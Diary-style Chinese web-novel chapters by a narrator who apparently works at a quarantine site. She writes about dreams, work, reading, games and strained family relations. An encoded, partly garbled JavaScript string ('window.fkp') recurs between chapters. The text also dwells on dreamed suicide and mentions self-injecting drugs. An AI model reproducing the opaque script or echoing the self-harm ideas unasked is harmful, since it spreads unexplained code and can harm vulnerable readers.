    梦境，梦到了一个房间。不知道哪里。然后有一个垫子它卖三块钱，梦里的我买了，把它铺在地板上，红色的很好看。后面就像梦到了娘家爸妈的房间里，梦里面的我说我不在乎他喜不喜欢我，无所谓吧！然后梦里的我下一个场景变成了很小的一个孩子，后面我在那个地方滚珠子。梦里我问你是知道我喜欢过你的吧！梦里他说知道。后面我就在滚珠子。把它们滚到某一个地方，梦里又变成很小的样子问另一个哥哥，我爸爸他是喜欢过我的吧！他没有回答我。然后我滚着的一些珠子去了黑色的一些地方。然后我看到了一个黑色的脑袋，好大的黑色的脑袋。然后我就醒了。
    梦境有一个场景，我不认识。反正三点左右醒了。梦里面梦见了他表姐说要接人。不晓得她做什么。她的样子在我这里不是很丑，是那种很明亮的样子。因为不是接的我吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第310章

    今天看错了排班，我上值班，但是我看成了早班，所以早上就去上班了，消毒消到从十五层消到了十层，十层已经消毒完了。收垃圾的时候，突然肚子不舒服，特别想拉屎，本来想忍住，结果忍不住，搞得我整个人都很尴尬，后面和护士长讲了出去了然后脱衣服上厕所，后面问护士长要不要进去，护士长说不用了，有那么多人。
    然后出去洗澡以后看到消息说今天我不是上早班，是上值班。别提有多尴尬了，然后后面就在上值班的那段时间提心吊胆的，看了好久的漫画，发现没有叫我，后面发现群里说来了很多人，结果还是没有叫我，到了晚上七点左右，我就过去了，询问要不要帮忙，然后监测组就叫我穿衣服，后面我想要不要带东西进去，外面的护士长用对讲机和里面的护士长沟通，里面的护士长叫我不要进。然后上晚班的那批人，就把我值班该干的事全给干完了。我就还穿好了防护服。等了好久，后面本来想去送饭，后面发现饭，他们晚班也干完了。护士长出来说我们整栋楼都收满了，另外一栋楼也是，所以我的值班就可以好好休息。但是以后这个事需要我们自己做，因为这是我们这批新人第一次遇到这种情况一下子来了一大批人，所以她会好好指导好好教我们该怎么做，谁干什么事，以后就要自己学会来。
    后面我就去送了几双拖鞋，一个枕头，因为考虑那个没有枕头的不好休息，主要我也穿了衣服。不干一点事，就脱浪费。后面就去了。后面就出来了。洗好了澡，看群消息说还有一个马桶堵了的，我不会通马桶，就没有什么愧疚感。
    然后就洗澡洗衣服。看书。
    看了一些内容。昨天有一个理论我感觉很有意思，就是肝郁用乌梅丸的解说。现在想把这个美好的念头写下来就一下子想不起来那种灵感了。就是血液循环。它需要力量，然后肝脏的运行那边的血液没有力气，肝脏的解毒能力就下降了，就叫肝郁。然后用乌梅丸，当然肝脏的什么肝虚有三种，每一种状态用的方子不一样。什么小建中汤，白头翁汤，这个我就不太理解，就乌梅丸，自己平时吃吃不坏事的就记到了。
    倪海厦的书还是好的。
    可惜的就是我的年纪太大了，不像小孩子记忆力那么好。本来想给老公的弟弟看的，他特别的想当兵。家公说他们村子里有一个人也是在军队里的，后面在队伍里种了好多年的田，后来就退伍了，问他当兵怎么样，说在队伍里种了好几年的田。以后有机会买过一套书适合小孩子看的吧！他还那么小，万一看到很复杂的东西产生了抗拒感就更会搞死。自从他幼儿园上课上什么珠心算。听说还是偷偷教的，整个人都没有感觉到他的活力了。其实我们也不知道学这个东西好不好，老实说如果是我我可能会比较羡慕他有这个机会学习这个东西。
    因为我小时候六岁子左右，老师教乘法口诀，可能不是教给我们一年级的小朋友的，但是教室比较简陋，一年级和其他的年纪在同一个教室，所以我就懵里懵懂的发狠背那个乘法口诀。然后做梦也在背，然后就背下来了。大晚上的背书让我爷爷奶奶非常的惊讶。而且还背对了。如果我在他那个年纪去接触这种东西，我不知道我会不会很用心的学。因为学完了之后是一辈子的事。但是小时候的我们不知道想不想要，主要是好玩才会去学习。
    所有的学习都是为了开心。快乐。不快乐的东西逼着自己去学都学不进去。
    知识是没有边际的，可以说无边无际，天外有天，人外有人。这种情况会让我产生一种难过的感觉，人的一生非常的短暂，渺小，而学习的海洋是那么广阔。我无法去拥有一切。这是一种非常悲伤的感情。然后又必须去努力的学习，但是怎么学人还是无知的，浅薄的。学习的越来越多，越会感觉到自己是无知的浅薄的，渺小的。而自己又没有办法去拥有一切。可能这就是我太过于贪婪了吧！所以才会难受。不过这个也只是一瞬间的感想。
    后面该偷懒还是偷懒的，我并没有因为有了这份想法，而变得发奋图强，坚持不懈，持之以恒的努力，而是开心时我就多看两章，郁闷我就看小说，心情一般看小说。最近看漫画。有的漫画真的好好看啊！可惜到了最精彩的部分都是要收费的。不是说别人付出了辛勤劳动就不给别人报酬，而是这是我的问题，就在那么一瞬间就有了对金钱的渴望，至少我在看小说的时候可以愉快的付费去读我想看的内容。
    后面看了好几本，都好好看啊！不过产生更大的欲望是想学画画，他们画的好好看。羡慕羡慕。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第311章

    不知道我啥时候才能写完我的一百万字？
    我感觉自己就像以前书本里的小猴子一样，什么都很想要，一只手想抓很多东西，这样子的自己不像我自己，以前我是喜欢做一件事。就持续的做这件事，但是我会在这件事努力的完成进度到百分之八十的时候，就放弃，不想做这件事，没有心力去完成这件事，然后到了下一个事情，很让我感觉自己动力满满，又特别的想做。充满了信心去干，后面又是那样子，到了百分之八十就没有动力了，又变得死气沉沉。原因是什么？
    也许我心里知道答案吧！好像是比较小的时候书里对自己的定义就是要把事情做到百分之八十就放弃这件事，好像是星座书，具体哪一页忘记了。性情温和，做事只做一半，后面忘记了那个定义，射手的就更讨厌了，不会明辨是非，这是我最讨厌的点，但是我就是。所以很多对与错，我都懒得分辨。因为我分辨出来的结果几乎都是错的，错的离谱。
    可是脑子不思考不行，思考也不行。就是这么奇怪的状态。
    突然想到了一个事。那个大伯说你这样子对他们，以后你可能会变成一个捡垃圾的人。然后我正在收拾垃圾的瞬间就想到了这个事。可惜他的话语太晚了。那个时候的自己不太明白不太懂，只知道好多黑色的东西，但是我们也没办法阻止这样子的事发生。不知道为什么。
    也许是怨恨吧！我也不知道这种怨恨是从哪里来的，但是却总是感觉得到。很奇怪的能量，像红色的但是好多黑色的意识揉在了一起的感觉。然后它会在我的脑子里冷笑的感觉。我也不知道这是什么。另一个世界的自己，潜意识里的自己，就像境界的彼方，所有人的梦境集合体里面跑出来的东西。像妖精一样。谁知道呢？
    越想越复杂，而且也找不到结果。还不如不找了，就好好把握当下吧！还有好多了课没有上完，还有考试没有考完。所以加油，这个月做完。
    昨天给自己测试了一下，自己像猫咪一样的人格，简单的看了一点点。像，但是我没有曾经那种看到了各种测试就入骨的代号入座的感觉。
    以前很喜欢捣鼓这种东西，这种东西总能给自己莫名其妙的快乐。但是我并没有去投资自己买这种书籍之类的培养自己的爱好，只是喜欢玩。然后就是看书，美容的，有的美容书，看的我目瞪口呆，因为好多吃的，都涂脸上，我认为那些吃的我自己吃都不够还涂脸上，我舍不得，后面我就没有看这种书了。
    其实以前很感兴趣的时候还是会干的，只是食物的一点点边角料就可以让自己的脸变得很舒服，的感觉，就会动手，然后也不会感觉自己浪费食物还是干嘛。只是后来就没有兴趣了。
    没有兴趣只想上班挣钱养娃的自己真的很没有趣味性。
    以前还想买椰子油护发，但是最后没有买。因为嫌弃很麻烦。需要洗。有点子可惜了。
    好困了。明天想要把那个烘干机搬上来，然后把衣服之类的烘干，然后再洗被套。因为来的时候太过于匆忙，所以这些新被套床单，都没有洗就用了。后面知道有了烘干机就好多小姐姐们都在洗被套，我的还没有动。就洗好了床单，没有用烘干机。干的慢。
    突然心情又一般般了。
    负能量满满。
    昨天给家婆打了一个电话。感觉她的状态还好，但是我发现电话里的我好像非常生气的感觉，但是我也不知道为什么？非常急躁的挂掉了电话。这种状态的我让我感觉我其实不太快乐吧！而且我要不是我老公说家婆把宝宝带回家去了，我根本不会打电话。我也不知道为什么我会这样子。
    明明我们相处好像还算愉快。家婆她会把饭做好，会洗碗，会处理宝宝的一切事物，宝宝也很喜欢。宝宝一粘着妈妈，她就会说宝宝喜欢妈妈跟她不亲了，然后我就看着她。那个时候没有太多的感觉，她的儿子给我的感觉就是很讨厌我的宝宝，但是为了不让自己妈妈骂，他会选择对我女儿好，但是这种好也不是真心的对待宝宝好，就是因为对自己有利他才会对她好，但是人就是自私的，就像孔融让梨，但是长大的孔融却不是像小时候那样子有着人人称赞的美德。有点人设崩塌了的感觉，但是人就是这个样子。我也不知道他是怎么样才是最好的，女儿怎么样才是最好的，好像怎么样都不好，算了小孩子的事，小孩子自己会做出选择。我也不可能无时无刻陪伴着她。她也会自己学着应对，这是一件难过的事。可是以后有了二胎，她也会变得难过，如果以后我有了宝宝她发现她不是最重要的，那么她可能也会难受吧！每个人都有一个适应的过程，我那个时候也是这样子过来的，老公弟弟也是那么难受，但是人就是在难受里长大的。有快乐的就会有悲伤的事发生。
    可惜我回家以后宝宝不知道又会不会很不开心，以前我也是这样子对我妈妈的，我宝宝的那个状态就是她看到了我回来了，然后就不要我，然后就哭。她的灵魂在我的眼睛里是全程黑色的没有光亮的感觉，眼睛也是黑漆漆的那种，然后就哭。心里很生气的那种感受，因为我也是这样子的，我妈妈去外面打工，然后过年才回，我也是这样子对我妈妈的，但是我和宝宝不一样，宝宝是我一回来就这样子，我的是一开始笑眯眯的，后面过年的那几天就给我妈妈找事做。那种特别的特别的恨的感受，但是我小时候并没有发出来，后面就是十几岁的时候才发，而妈妈又不理解你，她只会更加的变本加厉的生气。生气你那么大了，还不理解她的难受。所以对她的抱怨也好什么都好，都是一种无奈的事。我并没有办法去解决这个事情，这个就像生活里生命的重量一样，拿走了人就会变得很轻，所以又不能拿走，也许我需要去接纳那种感受，把它从潜意识里导出来，就像有的人有一个方法把那种咳嗽咳出来，在没有生病的时候训练自己咳嗽，可以排毒，不记得那本书看的，真的是思路清奇。而这种也是需要这种方式，但是应该怎么排呢？排不了。
    讲回家婆，我记得一天回家，然后突然就有一种意识，但是我没有说话，意思就是我不上班，难道还在家里带小孩子。反正这个场景不对，就是那种好像自己很鄙视那种没有班上，而且在家里带小孩子的人一样，但是其实我并没有那种想法，就像有的人是全职太太，她可以把自己的事情做好，然后给自己的儿子之类的孩子做很美味的早餐，她发文说这样子的生活，其实她感觉很幸福，可以在这些事情上，感觉自己的心灵很快乐，然后把家里收拾的井井有条，其实无所谓你是喜欢当全职太太也好。还是上班的太太也好，只要你自己开心，做什么事都是有意义的。前几年思维比较奇葩，想的一个事就是如何省钱。省钱的想法就像中了毒一样，非常想以成本价买最划算的东西，有点子着了魔一样，如痴如狂。后面就想到了一个事，这个世界所有的事物，都是因为你喜欢它才变得有意义，有价值，如果你对它没有意义没有了喜爱，那么它也就失去了它存在的力量。就会消散的感觉。就像你喜欢的书，喜欢的算数，喜欢的知识，喜欢的衣服，小本子，笔，都是一样的，因为你的热爱它们而变得可爱，而你愿意付出的金钱，也是它们的价值。不知道怎么写，可以有的想法形容的那种非常好的意境，写不出来，
    等以后去看我的文章，我会感觉自己是个很可爱的人。因为当一个女孩子女士没有美丽美貌气质，优雅那么她只剩可爱了。而我的文采就是这样子，所以我是一个可爱的女士。我因为我的文字而变得可爱。等以后去看，我就是一个可爱的人。无论经历的痛苦是多么难以形容，还是经历的快乐难以描述总之虽然我词穷但是我仍然是值得我自己欣赏和喜欢我自己的。
    抽象的人总是闪闪发亮，具体的人总是一地鸡毛，鸡毛蒜皮，所有的优雅走进了一看都是那么逗，还有搞笑。我也不晓得怎么形容我的想法反正就写的去吧！凑字凑到那么多也好啊！为了目地而奋斗。看我急笔飞书。绞尽脑汁，才思敏捷，灵感犹如泉水一样迸发出来。
    想太多了。
    好困。眼皮子快要粘在一起了。该休息了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第312章

    梦境。昨晚没有忍住，又刷了一会儿漫画，其实那些漫画我感觉剧情一般般，不知道为什么睡不着，后面就睡的比较死。然后梦境里就是感觉有一个女孩子在自己的梦里一直说话，是那种很轻柔的声音，然后是告别的感觉。梦里好像出现了医生，但是我不太懂。
    那种好像有人在梦里唱死亡前奏曲的感觉。那种温柔。声音很轻很轻。
    熬夜对身体不好，久了以后抵抗力会下降。可能我熬夜了吧！身体难受。明明知道熬夜熬久了可能会肺不舒服，还有影响肝脏解毒时间，但是不知道为什么就是要熬夜。可能我需要给自己来两针，反正我都带了针。没有办法用理智控制自己的行为的时候就需要用药物吧！
    为什么我下意识会认为是理智控制了自己的行为，而不是理智协助自己，或者理智在做随心所欲不受打扰的事。下意识里就感觉自己很奇怪。那种奇怪就像我稍微睡的死，情绪就会做出匪夷所思的事情来，为什么那么笃定自己一定会做匪夷所思的事呢？所以说我这个人奇怪。
    可是很多东西久掉了是藏不住的，就像一个梦境一样，那个梦境困扰了我很久，梦里面是自己跳楼死掉了，很小的时候，梦见自己跳楼死了，而且现在的发展也和那个时候一样。跳楼的原因是因为情感问题，大概的剧情就是很小的时候被别的亲戚领养了，虽然有很优渥的物质生活，但是内心总是会有空落落的感觉，感觉全世界所有人都不要自己了，被妈妈抛弃了，所以在新的家里非常发奋努力的干家务活。得到乖巧懂事的称赞。这是一种生存模式。后面在城里学习，认识了闺蜜，但是那种内心里的黑暗的情绪，根本没有好过。后面发现朋友或者是闺蜜其实她们内心并不是很喜欢自己，后来就是嫁人啊，然后就是干家务活，后面发现老公出轨，老公长的帅，家庭条件非常好。出轨对象是他的大学同学。那个梦中的剧情里我还没有怀孩子，而那个第三者先怀了孩子，然后就是第三者敲响了自己的门，告诉了自己，后面的剧情里，我就退让了，没有去保卫这段婚姻。因为人家都怀了孩子不是。多么可怜孩子没有爸爸。然后因为退让，那个场景里老公的样子是非常奇怪的，后面就是灵魂黑化了，被黑色的东西占据了，然后就摔断了腿，后面送到医院，那种强烈的很痛苦的感觉就一直蔓延过来，然后就受不了跳楼死了。
    后面就是第二个梦境。梦里面就是还是那么差不多的剧情。不同于上一个梦境就是自己也怀了孩子，第三者有宝宝，我也有。然后梦里的自己稍微争取了一下。然后没赢，梦里的老公说你真是一个比较没有趣味的人。我不喜欢你。而且又没有什么文化，要不是为了家庭权力，我都懒得去娶你。后面的结局一样。死了。
    就感觉这个就像升级打怪一样，老可怜蛋了，这个梦境刷了个几千遍都是死翘翘。而且产生的负能量很猛。要么就是指责老公渣男，要么就是指责小三不要脸为结局，总之是那种很奇怪的情绪，情绪里是灰色的，很强烈的灰色，然后它包裹着一个核心，核心是一个小朋友，就像一个女孩子一样的小朋友。就像内在灵魂没有长大。那种很好的长大。而现在的阶段就是年龄长大了，心理年龄没有长大。就是很多处理问题的感觉就像一个小朋友。不够完美，但是太过于追求完美，也是一种可以折磨的让人喘不过气的那种感觉。
    我仍然没有想到很好的解决途径。如何才能好好活下去？不是随波追流的而是让自己开心的活下去。就像我为什么知道自己的情绪是在搞事情，她就不想正常的情绪一样能够拯救自己于水火之中，这的情绪好像就是恶鬼的情绪吧！反正很多次的梦境里就是情绪化成了恶鬼把自己吃掉了。吃掉了很多次，那种强烈的恨，很难受。恨的原因是恨创造自己出来的人。活着很难受，根本感觉不到自己活着的意义。感觉不到这个世界的爱意，所有的都是冷冰冰的感觉，不管是什么，权力也好，金钱也好，无论经历了什么，都是那种让人很难受的冷冰冰的感觉。很难受。所以说我这个人可能就适合当和尚。这个灵魂真的最适合的就是当和尚。但是我没有。
    可能想要的太多了。可是梦境里的自己是说自己的感觉接口出了问题。很多事情，在别人眼里很美好的事，只有自己感觉到了不美好。也有可能这就是人的大脑里悲伤的情绪。后面情绪控制不了就崩溃了。
    记得看过的一个帖子，里面有一个女士。她嫁人了以后，天天去满足家里所有人的需求，后面她生病了一次，发现家里人所有人都不在乎自己，然后她就很难受，饭也不做了，家务活也不干了，家里人在抱怨她，但是她感觉很快乐。让自己的自我喘了些气。想干家务活就干，不干就不干，家又不是我一个人的。解决这种事就那么简单。
    我怀疑是不是我刷了那么多次家务活的一生，所以让自己一点也不想干家务。乱就乱，差就差。这就是心理阴影。以前刷那种主母的游戏，刷了几次之后就再也不想当富贵人家的女主人。真tm事多。反正介绍的挺详细的，就是不管怎么玩，我的游戏里的丈夫他就是出轨了，还是会有第三者，第四者，第五者，后面在论坛里面一看，这个丈夫命里如果我不给他添加小妾，他还是会遇见四个唯美的小妾，各个都有各个的特点，而且怎么躲都躲不了的那种。牛皮。后面就没有玩了。论坛说还是选浪子最好，玩过了很多角色就浪子是最好的那一个，他喜欢你，就只喜欢你一个，其他的角色都是命定里的第三者。光看那么几条线路，就看的不开心，但是就是会遇见你怎么办。有的姐姐玩主母这个角色，变得富可敌国，孩子过的好，老公过的好，自己也过的好，我就没有了。玩到了某种程度就没兴趣了，你不去刷游戏老公的好感，他分分钟给你来个小妾，刷好感，也挺浪费时间的，需要学习才能达成精神共鸣，达成了精神共鸣之后，他还是会碰到他命定的3456。所以没有玩这个游戏了。没意思。恋与制作人听说很好玩，但是需要花钱的我都很少玩。
    我们也不知道这样子好不好，因为游戏真的是精神奢饰品。虽然都是虚拟的。就像现在的一生，也不知道是不是一个黄粱一梦，也许过了这辈子再看，也许会说自己可笑，可悲，但是我至少过了。对吧。这个世界怎么选择都是一个坑，既然都是坑，那不如就好好面对自己内心的恐惧。人都是会死亡的，死亡的时候没有遗憾，不会烦恼不会累，才是最舒服的存在不是吗？
    虽然知道情绪的那一端可能会让自己过的惨一点，如果这就是命，无法抗拒的命运，那好好接受这个事实那也是很不错的。就像那个游戏一样，不管你怎么动脑筋他就是会有3456四个美人的存在，那你怎么办。还好我不玩了，如果是必须得玩的呢？那不是会气死。气死也没办法，这就是游戏设定。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第313章

    天气好冷啊！看到了一个同事穿了厚厚的睡衣睡裤出来，哇好羡慕。我没有带很厚的衣服，我家婆叫我带了两件毛衣。现在用上了，我也好想穿厚衣服，应该可以叫家里人送的来吧！
    突然脑子里有了一些想法。也不知道是不是睡的太晚了。梦境记不起来，只记得一些奇怪的声音。可能是我这两天熬夜看漫画，熬的我耳鸣了。我把一个漫画软件删了，第二个也删了吧！昨天在玩橙光，橙光玩了好想充钱，充钱还是算了。所以没有玩了。玩的海王修仙记。事实上不看别人怎么玩，自己根本不知道怎么玩这个游戏。她们好有耐心，玩到了几十年，我玩到十年左右，我就没有耐心了，几乎每个月都是上山抓兔子，野猪之类的做烧烤吃，要不就是在山上休息。修炼，买土地。后面看了人家玩的东西我就去刷好感，不过还是不知道这个怎么玩算了不玩了。明星天后养成记好好看，我好想玩，就是自己安排时间学习的。以前好像也玩过吧！不过我搜不到以前玩的东西了，现在的界面更好看。俊男靓女真的是赏心悦目。很像闪耀暖暖。暖暖真的是下载了好多次。但是暖暖我的手机运行不了，一直显示进度条，无奈之下只能删了，五年前的老手机还带的动，这个新手机5G的居然带不动。很奇怪对吧！不过以前那个是华为的，华为的手机确实好。这个oppo的。oppo的也还行。以前的老的oppo的手机我用了心情很好。这个新的可能还没有磨合好。
    心情复杂。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第314章

    梦境，梦境之前，是心里面很烦躁，想到了一个事。那个事是我家婆在坐月子完还是啥时候来着。出现的一个事。她就在客厅里跟我说她不想伺候你，怎么样。反正说过很多次。然后后面就到了家婆家里，她和家公住的地方，她一开始说话是很强硬的，后面那个家里的摄像头开了，她就开始声泪俱下，诉说自己的不易，然后我就感觉她状态反差那么大，是吧！往后一看摄像头亮着灯，知道是我老公在看着我们。然后我老公就打电话过来批评我，后面我就没有挂我老公的电话，摄像头就关了，她就变了态度，然后就在那里讲。然后我老公就听到了。后面我就没有讲什么。啥事我也忘了，我老公说我没有懂。我叫他和我讲什么没有懂，他没有和我讲。后来他没有因为家婆讲了什么，就讲我了。
    因为之前家婆就这样子做了一次。那次我好伤心，就想生完了这个孩子，如你觉得我贵，我们可以把钱还给你家，就当我傻。我就当谈了一个恋爱，然后回家离婚。烦死我了。本来就是个衰人。也不指望日子过得有多好。
    那个事很多，比如老公的弟弟会和我说，你怎么买那么多快递。他为什么要这样子和我讲，总生了一个宝宝，要给宝宝买衣服对不对。还有很多生活用品，快递，老公妈妈又说了要她拿。而且坐月子不能吹风。后面老公不在家，我在家的时候，家公家婆就在家里一直讲怎么买那么多快递。心情很烂。
    然后就进入了一个梦境。我也感觉这种就会进入梦境，我并不是很想对这些事情生气。因为在当时我就没有生气，我以为我能够理解并且接受它，我无论在任何环境都是倒霉蛋，我以为我能够接受这个事实。结婚前就知道，很好的条件倒霉蛋日子就过的差。即使用尽力气去过不好的日子，其实也是倒霉蛋，每种环境都有它的难处。我以为我已经有了心理准备。
    没想到那么久了，还能勾起自己内心的负面情绪，这是我匪夷所思的。
    然后那个梦境里就是一栋楼，梦里面有几个医生，他们穿着防护服他们在配一种药水。梦里有几个人配了药水，其中一个男医生他配了一个清心的药水，配了两包，然后他给我喝了，另外一个医生配的药水，我也喝了。反正我不晓得什么效果。没问，然后梦境里面出现了一个男孩子。桂森。他给我拿了一盒面条，我感觉应该是现实世界里一些人要吃面条所以就出现了重合的印象吧！
    然后梦境里吃了一点点那个面条，然后出现了两个孩子，他说希望我去照顾他们，反正你也因为你的家庭那么烦。感觉那种感觉就是不清醒的状态。然后就醒了，但是感觉很久，一个梦境里是在迷迷糊糊的烘干衣服。一个梦境里是自己在下楼梯。好像同时发生一样。后面就醒了，那个梦醒了的时候医生在梦里面的楼梯那里看着我，说这个药水还是有点子用的哇。我说嗯。然后就从梦境里醒了。看到了一个场景，现在日子难，后面的日子也难。就算换了环境也难。信个鬼为什么要照顾别人，照顾好自己都累。
    梦到了桂森，几乎没有发生过什么好事。他看起来温温柔柔的，让人生不了厌恶之情。但是学习我只能保持中等的样子。然后他自己和另一个学习很好的人用纸条子聊天，用我打掩护，然后我还惹的一生腥。我学生时期某一段时间思考过，为什么他看起来如此斯文尔雅的样子，我会对他一点感觉都没有。不讨厌，很容易让我卸下防备，但是他没有在我的那种择偶标准里。
    后面记起了一个六年级的事情，那个时候，六年级好像吓了他一顿。他写了很多文，写他对班长的印象很好，然后人家都在打趣他们两，我没有打趣。我也没有觉得他们很好。那个时候，不知道我在其中扮演什么角色，反正奇奇怪怪的我。我又和他们两个都不熟。
    后面七年级，初一的样子，班长和她的同桌闹矛盾了，她们几乎闹很多次矛盾，看不懂人家的矛盾，虽然我是女孩子，但是我是直男一样的女孩子。后面就换了我和班长的同桌做同桌。
    老实说我好难过，我其实喜欢我自己的同桌。我的同桌她是班级前十名，然后她在年级上也排的上名，因为有她在，我就特别的特别的有动力去学习，然后后面我也排到了班级里第十名，六年级的时候，我一直以她和后桌那个学习好的男孩子当目标。因为他们两个都好认真。然后这个位置刚好可以看得到传金，传金学习好厉害。
    后面班长就和我同桌玩的很开心，然后她和她同桌闹矛盾，就说要和我换同桌，还说她们两个一起很开心。后面就换了同桌。我挺不舍得的，但是她们两个很快乐对吧！换就换哇。
    后面就换到了桂森的前面。他是个很喜欢做恶作剧的人。小孩子。后面就是没感觉什么。那段时间学习我的没有长进。感觉自己学习不是很好。就是下降了。
    然后想到了一件事，他给人传了一些纸条子，后面就好多黑色的灵魂，他说了啥来着，不清楚，反正没有感觉，就感觉自己的意识很小，小的白色的灵魂，非常的小，然后就在哭的感觉，然后你说信任他也没有很信任，你说讨厌也没有讨厌，你说喜欢也没有喜欢？
    好奇怪的一个人。等到了这个年纪就感觉有一些方式让我感觉这个人是个心思细腻的人，说话有点像pUA的感觉，但是藏的很深，看不出来，我也没有看出来。
    就是初一有一个事，他对我说我是不是和我家里人有不正当的关系，和我表哥或者是姑父。但是这是他讲的，我记得那个时候他拿了一个纸在写。然后我感觉很诡异，那个场景看到了他灵魂后面有一个很奇怪的男的灵魂，我不知道是他碰到了鬼，还是我碰到了鬼。我感觉就是他心里很龌龊吧！但是我也不清楚这是鬼上了他的身，还是因为什么原因。总之我看到了。
    后面七年级，那个姑姑就结婚十年左右吧！她破产了，结婚的老公出轨，我们初一家里人一起去看了她的工厂，做鞋子的。她还送了一双鞋子给我，很贵的鞋子，我有另外一个姑姑也收到了一双，一模一样，那个姑姑说这鞋子很好穿，后面哪年来着，反正就是看到了那双鞋子，另一个姑姑说那双鞋子她穿了很多年，很好穿。
    我的那双就穿了一年左右就坏了。一模一样。那个时候感觉到了黑色的能量很生气的那种，感觉很希望她送过一双。但是这是人家送给你的，难道还要自己选？反正就是很多的负能量很不喜欢那双鞋子。但是我又不怎么爱买东西而且又是运动鞋，肯定物尽其用。
    后面她老公出轨，出轨对象是十来岁的女孩子。我有的时候在她家住过，我来的时候，姑父并没有来住，他去了别的地方。但是我在她家的房子里总感觉会哭的一种情绪。
    但是我又不清楚为什么会有想哭的感觉。就在她家住了一天左右吧！那个时候姑姑还没有床，是用很多的泡沫板拼了一个床。上面铺了毯子之类的。难以想象一个很漂亮的房子里会这样子，可能是租的房子。然后就在她旁边和她一起睡觉。在那张床的梦里面就是一个很大的黑色的脑子，里面是一个很疲惫的很小的感觉像一个十来岁的男孩子，在说我不喜欢你。但是他在我的位置。我躺在那个位置睡觉，他在我的身体里讲。而且是那种不是愤怒的气愤的讨厌的情绪。而是像愧疚一样的情绪。但是这是姑父的情绪？不晓得。
    然后就看到了姑姑里面的灵魂像黑色的纹路一样，三角形的样子。
    后面就是她在街上被老公打了一巴掌，这是家里人讲的，我们也没有看到。怀孕的时候她的家人给她吃霉豆腐，没有准备很好的营养，然后还有家里人给她送的鸡，那个她老公家里把鸡杀了给所有的客人吃，我们家里人看到了这个事很难过。我们的意思就是送的东西留起来给孕妇吃，不要给客人吃，客人吃，可以自己买过。这是娘家人的一片心意。然后抓得鸡，他们全部都杀了，不留起来，后面家里人就好难过。而我就听着。
    后面我也怀孕了。发现霉豆腐真的很开胃，什么都吃不下的时候，霉豆腐伴饭真的超级香，谁说的对呢？不晓得。
    我怀孕的时候，家里人也送了鸡，真的一片心意，但是鸡真的吃多了好腻。给我老公，老公看了都腻。吃的我好烦。说到这个，我就对我家婆有怨念。因为我买好了怀孕需要吃什么菜。坐月子需要吃什么菜的书，还和她讲了就按书上来，而且又不贵还好多青菜。但是她就不按着来，还和老公他表姐和我讲，我家婆可讨厌家婆的家婆就是老公奶奶，在她坐月子的时候做了一堆难以下咽的食物，吃不下又得吃，而且还不好意思说，所以做了很艰难的月子。我就在那里静静的听，没讲话，反正她盐放多了我会讲。不喜欢吃那个菜我会讲。
    所以说嫁给有钱的，你过不好不顺心，嫁给没钱的你过不好不顺心。我就不具备那种智商。
    那个事听了我有点子生气。意思就是她嫁到那里吃了苦，我也要吃一样的苦了。
    还有一个我很难受的事。家婆和我说老公的表姐有关系，大舅舅是市区上班，然后可以把她弄进高铁站去上班，然后她自己不愿意去。后来就没有去。那个时候我在高铁做信息录入员。后面听了那个事，后面就没有在高铁干了。然后我看到了她讲的那个事产生的东西。家婆就是很恐怖的人。还有在妇科上班也是，还在试用期是会很累，然后她就在吃饭的时候对我说你会生病的，然后我就生病了，后面就是班也没有办法上了。
    算命说我要对妈妈带孝心，对家婆带孝心。意思就是不能得罪这个人，得罪这个人就会倒大霉。
    所以为什么要去处理关系。上学的时候是需要智商，智慧，但是到了工作上人生里面，却还是处理得了各种关系的人才能做的成事。
    不过还好我做不成大事。很多关系我都处理不好，不管是与自己的关系，与父母的关系，与孩子的关系还是与别人的关系。
    我妈妈也是，打个电话过去，我整个人都不好了，至少几天缓不过来。与女性人物就那么糟糕。
    我讨厌女性。潜意识里感觉得到。
    我猜我可能上辈子是个男的，然后智商非常高的那种。所以很鄙视女性这种奇怪的不理解的状态。所以它派我来当个女性，因为智商超群，很多的危机都被躲过去了，所以它收了我的智商，没有智商也没有情商，那我也只能就这么过呗，有什么办法呢？
    就像我妈妈有一段时间在家里抱怨我，她抱怨的内容就是。以为自己很厉害，学习好什么都好，就鄙视她，说她不聪明，然后说你知不知道你是我生的，你所有的一切都是我的。然后还有就是说我瞧不起人。反正那天她就发了很多的火。但是我并没有这样子。但是她眼睛里看到的就是这样子。
    我反省了自己，还是想不出所以然。
